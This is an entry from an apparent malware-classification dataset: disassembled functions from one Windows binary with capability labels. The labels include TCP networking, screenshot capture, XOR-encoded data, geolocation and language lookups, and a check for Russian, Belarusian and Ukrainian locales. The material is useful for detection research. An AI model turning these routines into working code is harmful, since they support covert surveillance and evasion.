joyce8/EMBER2024-capa huggingface dataset:
Function at 0x603e9c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov word [ebp - 6], dx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406d68
xor eax, eax
push ebp
push 0x603fa5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x24]
xor ecx, ecx
mov edx, 0x10
call fcn.00403b8c
mov word [ebp - 0x24], 2
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 0x10], eax
mov ax, word [ebp - 6]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x22], ax
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 4]
mov ecx, 0
call fcn.00406fd4
mov eax, dword [ebp - 0x28]
call fcn.00406358
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x20], eax
push 0x10
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_connect
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x603f39
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
jmp 0x603f7f
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0
lea edx, [ebp - 0x3c]
mov ecx, 1
mov eax, 0x603fc0
call fcn.0047b9a8
mov eax, dword [ebp - 0x2c]
xor edx, edx
call fcn.006039d8
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_closesocket
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x603fac
lea eax, [ebp - 0x2c]
call fcn.00406d70
lea eax, [ebp - 0x28]
call fcn.00405b98
lea eax, [ebp - 4]
call fcn.00406d70
ret
Function at 0x604028
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x604116
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jge 0x6040a4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
lea edx, [ebp - 0x24]
mov ecx, 1
mov eax, 0x604134
call fcn.0047b9a8
mov eax, dword [ebp - 0x14]
xor edx, edx
call fcn.006039d8
jmp 0x6040f8
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jge 0x6040f8
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
lea edx, [ebp - 0x24]
mov ecx, 1
mov eax, 0x604188
call fcn.0047b9a8
mov eax, dword [ebp - 0x28]
xor edx, edx
call fcn.006039d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x60411d
lea eax, [ebp - 0x28]
call fcn.00406d70
lea eax, [ebp - 0x14]
call fcn.00406d70
ret
Function at 0x60633c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
xor ecx, ecx
mov dword [ebp - 0xc], ecx
test dl, dl
je 0x606353
add esp, 0xfffffff0
call fcn.004049a0
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x606445
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
add eax, 0x28
xor edx, edx
call fcn.00406d80
mov eax, dword [ebp - 4]
add eax, 0x2c
xor edx, edx
call fcn.00406d80
mov eax, dword [ebp - 4]
mov word [eax + 0x30], 0
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax + 0x10], edx
mov dl, 1
mov eax, dword [0x490de0]
call fcn.0040448c
mov edx, dword [ebp - 4]
mov dword [edx + 4], eax
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.006066f8
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
add eax, 8
call fcn.00406d80
xor ecx, ecx
mov dl, 1
mov eax, dword [0x5d7b20]
call fcn.005d80a8
mov edx, dword [ebp - 4]
mov dword [edx + 0xc], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x606414
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [eax + 0x6c], 0
je 0x606414
mov eax, dword [0x7217f4]
cmp byte [eax], 0
je 0x606414
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x6c]
mov al, byte [eax + 0x566]
or al, byte [0x60646c]
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x6c]
mov byte [edx + 0x566], al
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
add eax, 0x16c
mov edx, 0x60647c
call fcn.00407264
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x60644c
lea eax, [ebp - 0xc]
call fcn.00406d70
ret
Function at 0x606ae4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff9c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406d68
xor eax, eax
push ebp
push 0x606d34
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 4]
call fcn.00478ddc
mov edx, dword [ebp - 0x60]
mov eax, 0x606d54
call fcn.004078ac
dec eax
jne 0x606b6b
xor ecx, ecx
mov dl, 1
mov eax, dword [0x5d7b20]
call fcn.005d80a8
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dl, 1
mov eax, dword [0x5a79b4]
call fcn.005bc374
mov edx, eax
mov eax, dword [ebp - 0x14]
call fcn.005e245c
mov eax, dword [ebp - 0x14]
call fcn.005e243c
call fcn.005c0b5c
jmp 0x606b7c
xor ecx, ecx
mov dl, 1
mov eax, dword [0x5d6c30]
call fcn.005d80a8
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x606d02
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x5c]
xor ecx, ecx
mov edx, 0x40
call fcn.00403b8c
push 0x20
lea eax, [ebp - 0x5c]
push eax
push 0x59
push 0x400
call sub.kernel32.dll_GetLocaleInfoW_1
lea eax, [ebp - 0x18]
lea edx, [ebp - 0x5c]
mov ecx, 0x20
call fcn.00406f90
lea eax, [ebp - 0x5c]
xor ecx, ecx
mov edx, 0x40
call fcn.00403b8c
push 0x20
lea eax, [ebp - 0x5c]
push eax
push 0x5a
push 0x400
call sub.kernel32.dll_GetLocaleInfoW_1
push dword [ebp - 0x18]
push 0x606d74
lea eax, [ebp - 0x64]
lea edx, [ebp - 0x5c]
mov ecx, 0x20
call fcn.00406f90
push dword [ebp - 0x64]
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00407348
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 0xc]
mov dword [eax + 0x37c], edx
mov eax, dword [ebp - 0x14]
add eax, 0x118
mov edx, dword [ebp - 0x18]
call fcn.00406d80
mov eax, dword [ebp - 0x14]
add eax, 0xec
mov edx, dword [ebp - 4]
call fcn.00406d80
xor eax, eax
push ebp
push 0x606c61
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x14]
call fcn.005e1914
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x184]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x606ce0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x12c]
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x606d09
mov eax, dword [ebp - 0x14]
call fcn.004044bc
ret
Function at 0x606d78
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff9c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406d68
xor eax, eax
push ebp
push 0x606ff7
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 4]
call fcn.00478ddc
mov edx, dword [ebp - 0x60]
mov eax, 0x607018
call fcn.004078ac
dec eax
jne 0x606dff
xor ecx, ecx
mov dl, 1
mov eax, dword [0x5d7b20]
call fcn.005d80a8
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dl, 1
mov eax, dword [0x5a79b4]
call fcn.005bc374
mov edx, eax
mov eax, dword [ebp - 0x14]
call fcn.005e245c
mov eax, dword [ebp - 0x14]
call fcn.005e243c
call fcn.005c0b5c
jmp 0x606e10
xor ecx, ecx
mov dl, 1
mov eax, dword [0x5d6c30]
call fcn.005d80a8
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x606fc5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x5c]
xor ecx, ecx
mov edx, 0x40
call fcn.00403b8c
push 0x20
lea eax, [ebp - 0x5c]
push eax
push 0x59
push 0x400
call sub.kernel32.dll_GetLocaleInfoW_1
lea eax, [ebp - 0x18]
lea edx, [ebp - 0x5c]
mov ecx, 0x20
call fcn.00406f90
lea eax, [ebp - 0x5c]
xor ecx, ecx
mov edx, 0x40
call fcn.00403b8c
push 0x20
lea eax, [ebp - 0x5c]
push eax
push 0x5a
push 0x400
call sub.kernel32.dll_GetLocaleInfoW_1
push dword [ebp - 0x18]
push 0x607038
lea eax, [ebp - 0x64]
lea edx, [ebp - 0x5c]
mov ecx, 0x20
call fcn.00406f90
push dword [ebp - 0x64]
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00407348
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 0x14]
mov dword [eax + 0x37c], edx
mov eax, dword [ebp - 0x14]
add eax, 0x118
mov edx, dword [ebp - 0x18]
call fcn.00406d80
mov eax, dword [ebp - 0x14]
add eax, 0xec
mov edx, dword [ebp - 4]
call fcn.00406d80
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
mov dword [eax + 0x188], edx
cmp byte [ebp + 0xc], 0
je 0x606ee1
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
call fcn.006061f4
xor eax, eax
push ebp
push 0x606f1b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x14]
call fcn.005e18f0
cmp dword [ebp + 8], 0
je 0x606f0e
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x184]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x606fa3
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x12c]
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x606fcc
mov eax, dword [ebp - 0x14]
call fcn.004044bc
ret
Function at 0x63cde0
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x24c]
push eax
call sub.user32.dll_GetWindowRect
test eax, eax
je 0x63cfd0
push 2
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x24c]
push eax
push 0
call sub.user32.dll_MapWindowPoints
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x24c]
push eax
call sub.user32.dll_GetClientRect
lea edx, [ebp - 0x30]
lea eax, [ebp - 0x20]
call fcn.00409e74
test al, al
jne 0x63cfd0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x24c]
push eax
call sub.user32.dll_GetWindowDC
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x63cfd0
xor eax, eax
push ebp
push 0x63cfc9
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, dword [ebp - 0x1c]
neg ecx
mov edx, dword [ebp - 0x20]
neg edx
lea eax, [ebp - 0x30]
call fcn.00409f94
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x63cf9e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0
je 0x63cec6
cmp dword [ebp - 8], 0
jne 0x63ced5
call fcn.00405448
call fcn.00405448
jmp 0x63cfd0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x63cefa
call fcn.00405448
call fcn.00405448
jmp 0x63cfd0
xor eax, eax
push ebp
push 0x63cf77
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x1c]
push eax
push 1
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 8]
call fcn.0063ca78
push 4
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, dword [ebp - 8]
mov edx, 0x317
call fcn.00505ff4
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x20]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_BitBlt
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x63cf7e
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_SelectObject
ret
mov esp, ebp
pop ebp
ret

Function at 0x6400d0
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetUserDefaultLangID
mov word [ebp - 6], ax
mov eax, dword [ebp - 4]
push eax
movzx eax, word [ebp - 6]
mov ecx, 0x64010c
mov edx, 0x5a
call fcn.00480c94
pop ecx
pop ecx
pop ebp
ret
Function at 0x642fc0
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
xor edx, edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0xc], edx
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x6431f9
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 2], 0
cmp dword [0x715050], 0xffffffff
jne 0x6430bb
lea eax, [ebp - 0x20]
call fcn.00646178
lea eax, [ebp - 0x20]
mov edx, 0x643214
call fcn.004071a4
mov eax, dword [ebp - 0x20]
call fcn.0047a474
test al, al
je 0x6430bb
mov dl, 1
mov eax, dword [0x52a034]
call fcn.0052abd4
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x6430b4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x24]
call fcn.00646178
lea eax, [ebp - 0x24]
mov edx, 0x643214
call fcn.004071a4
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x10]
mov eax, dword [0x585fd8]
call fcn.00586c54
push 0
mov ecx, 0x643248
mov edx, 0x643264
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 8]
mov dword [0x715050], eax
cmp dword [0x715050], 0
jne 0x64308d
call fcn.00405448
jmp 0x6431d6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6430c8
cmp dword [ebp - 0x10], 0
je 0x6430b3
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
call fcn.004044bc
ret
cmp dword [0x715050], 0
je 0x6431d6
call sub.kernel32.dll_GetSystemDefaultLangID
mov word [ebp - 4], ax
call sub.kernel32.dll_GetUserDefaultUILanguage
mov word [ebp - 6], ax
cmp word [ebp - 4], 0x419
je 0x64310a
cmp word [ebp - 6], 0x419
je 0x64310a
cmp word [ebp - 4], 0x423
je 0x64310a
cmp word [ebp - 6], 0x423
je 0x64310a
cmp word [ebp - 4], 0x422
je 0x64310a
cmp word [ebp - 6], 0x422
jne 0x64310e
mov byte [ebp - 2], 1
cmp byte [ebp - 2], 0
jne 0x6431d6
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.00406dd4
cmp byte [ebp - 1], 0
je 0x643159
xor ecx, ecx
mov dl, 1
mov eax, dword [0x585fd8]
call fcn.00586b50
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x643280
mov edx, 0x6432b4
mov eax, dword [ebp - 0x14]
call fcn.00587178
mov eax, dword [ebp - 0x14]
call fcn.004044bc
cmp dword [ebp - 0xc], 0
jne 0x64319e
lea edx, [ebp - 0xc]
xor eax, eax
call fcn.006440c4
cmp dword [ebp - 0xc], 0
je 0x64319e
xor ecx, ecx
mov dl, 1
mov eax, dword [0x585fd8]
call fcn.00586b50
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
push eax
mov edx, 0x6432b4
mov ecx, 0x643280
mov eax, dword [ebp - 0x18]
call fcn.005877fc
mov eax, dword [ebp - 0x18]
call fcn.004044bc
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.00478d14
mov eax, dword [ebp - 0x28]
mov edx, 0x6432cc
call fcn.00407534
je 0x6431d2
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
call fcn.00478d14
mov eax, dword [ebp - 0x2c]
mov edx, 0x6432e0
call fcn.00407534
jne 0x6431d6
mov byte [ebp - 2], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x643200
lea eax, [ebp - 0x2c]
mov edx, 4
call fcn.00406d78
lea eax, [ebp - 0xc]
call fcn.00406d70
ret
Function at 0x64338c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x6434a1
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x715054], 0
je 0x6433cd
mov eax, dword [ebp - 8]
mov edx, dword [0x715054]
call fcn.00406d80
jmp 0x643486
lea eax, [ebp - 0x14]
push eax
xor ecx, ecx
mov edx, 0x6434bc
mov eax, 0x6434f0
call fcn.0064cd50
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.004794a8
mov edx, dword [ebp - 0x10]
mov eax, 0x715054
call fcn.00406d80
cmp dword [0x715054], 0
je 0x643413
mov eax, dword [ebp - 8]
mov edx, dword [0x715054]
call fcn.00406d80
jmp 0x643486
xor eax, eax
push ebp
push 0x64345c
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov dl, 1
mov eax, dword [0x585fd8]
call fcn.00586b50
mov dword [ebp - 0xc], eax
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x64350c
mov edx, 0x643540
mov eax, dword [ebp - 0xc]
call fcn.00587178
mov eax, dword [ebp - 0xc]
call fcn.004044bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x643470
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x643486
cmp byte [ebp - 1], 0
je 0x643486
mov eax, dword [ebp - 8]
call fcn.00589ca4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6434a8
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00406d78
ret

Function at 0x6448f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x6449a9
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x644926
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx]
cmp edx, 0
jne 0x644930
cmp eax, 0
jne 0x644930
mov eax, dword [ebp - 8]
call fcn.00405b98
jmp 0x644993
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx]
dec eax
test eax, eax
jl 0x644971
inc eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
mov ecx, 0x16
cdq
idiv ecx
mov al, byte [edx + str.vkj8ze67dpa9wx3my2h5gu]
mov edx, dword [ebp - 0xc]
xor byte [edx], al
inc dword [ebp - 0xc]
inc dword [ebp - 0x10]
dec dword [ebp - 0x14]
jne 0x644950
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx]
mov edx, eax
lea ecx, [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
call fcn.0059d424
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.00409718
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6449b0
lea eax, [ebp - 0x18]
call fcn.00405b98
ret
Function at 0x644a9c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406d68
xor eax, eax
push ebp
push 0x644bb3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2c]
mov edx, dword [ebp - 4]
mov ecx, 0
call fcn.00406fd4
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0xc]
call fcn.00537db0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
call fcn.0040879c
dec eax
test eax, eax
jl 0x644b26
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
mov ecx, 0x16
cdq
idiv ecx
mov al, byte [edx + str.vkj8ze67dpa9wx3my2h5gu]
mov edx, dword [ebp - 0x10]
xor byte [edx], al
inc dword [ebp - 0x10]
inc dword [ebp - 0x14]
dec dword [ebp - 0x1c]
jne 0x644b05
mov eax, dword [ebp - 0xc]
call fcn.0040879c
mov edx, eax
lea eax, [ebp - 0x18]
mov ecx, 0xfde9
call fcn.004064f8
lea eax, [ebp - 0x18]
call fcn.004063d0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
call fcn.0040879c
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
call fcn.0040331c
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x18]
call fcn.004098f0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x28]
call fcn.00406d80
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x644bba
lea eax, [ebp - 0x2c]
call fcn.00405b98
lea eax, [ebp - 0x28]
call fcn.00406d70
lea eax, [ebp - 0x18]
call fcn.00405b98
lea eax, [ebp - 0xc]
mov edx, dword [0x4774d0]
call fcn.00408a84
lea eax, [ebp - 4]
call fcn.00406d70
ret
Function at 0x646c64
Capabilities:
Check for time delay via gettickcount
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
mov dword [ebp - 4], eax
cmp dword [0x715144], 0
je 0x646c7f
mov byte [ebp - 5], 1
jmp 0x646e3e
mov eax, dword [ebp - 4]
mov dword [0x715144], eax
xor eax, eax
push ebp
push 0x646e37
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_IsIconic
test eax, eax
je 0x646cad
push 9
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_ShowWindow
call sub.user32.dll_GetForegroundWindow
cmp eax, dword [ebp - 4]
je 0x646e1e
mov eax, dword [0x722498]
cmp dword [eax], 2
jne 0x646ccf
mov eax, dword [0x721a80]
cmp dword [eax], 4
jg 0x646d03
mov eax, dword [0x722498]
cmp dword [eax], 1
jne 0x646dfe
mov eax, dword [0x721a80]
cmp dword [eax], 4
jg 0x646d03
mov eax, dword [0x721a80]
cmp dword [eax], 4
jne 0x646dfe
mov eax, dword [0x7220a8]
cmp dword [eax], 0
jle 0x646dfe
mov byte [ebp - 5], 0
cmp dword [0x715140], 0xffffffff
jne 0x646db0
mov eax, dword [0x721a80]
cmp dword [eax], 6
jne 0x646d2c
mov eax, dword [0x7220a8]
cmp dword [eax], 2
je 0x646db0
push 0
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov dword [ebp - 0xc], eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov dword [ebp - 0x10], eax
call sub.kernel32.dll_GetTickCount_1
mov dword [ebp - 0x18], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_AttachThreadInput
mov dword [ebp - 0x1c], eax
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebp - 0x18]
cmp eax, 0x1f4
jbe 0x646d7d
mov dword [0x715140], 1
cmp dword [ebp - 0x1c], 0
je 0x646db0
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_BringWindowToTop
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetForegroundWindow
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_AttachThreadInput
call sub.user32.dll_GetForegroundWindow
cmp eax, dword [ebp - 4]
sete byte [ebp - 5]
cmp byte [ebp - 5], 0
jne 0x646e10
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0x2000
call sub.user32.dll_SystemParametersInfoW
push 2
push 0
push 0
push 0x2001
call sub.user32.dll_SystemParametersInfoW
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_BringWindowToTop
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetForegroundWindow
push 2
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0x2001
call sub.user32.dll_SystemParametersInfoW
jmp 0x646e10
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_BringWindowToTop
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetForegroundWindow
call sub.user32.dll_GetForegroundWindow
cmp eax, dword [ebp - 4]
sete byte [ebp - 5]
jmp 0x646e22
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x646e3e
xor eax, eax
mov dword [0x715144], eax
ret
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret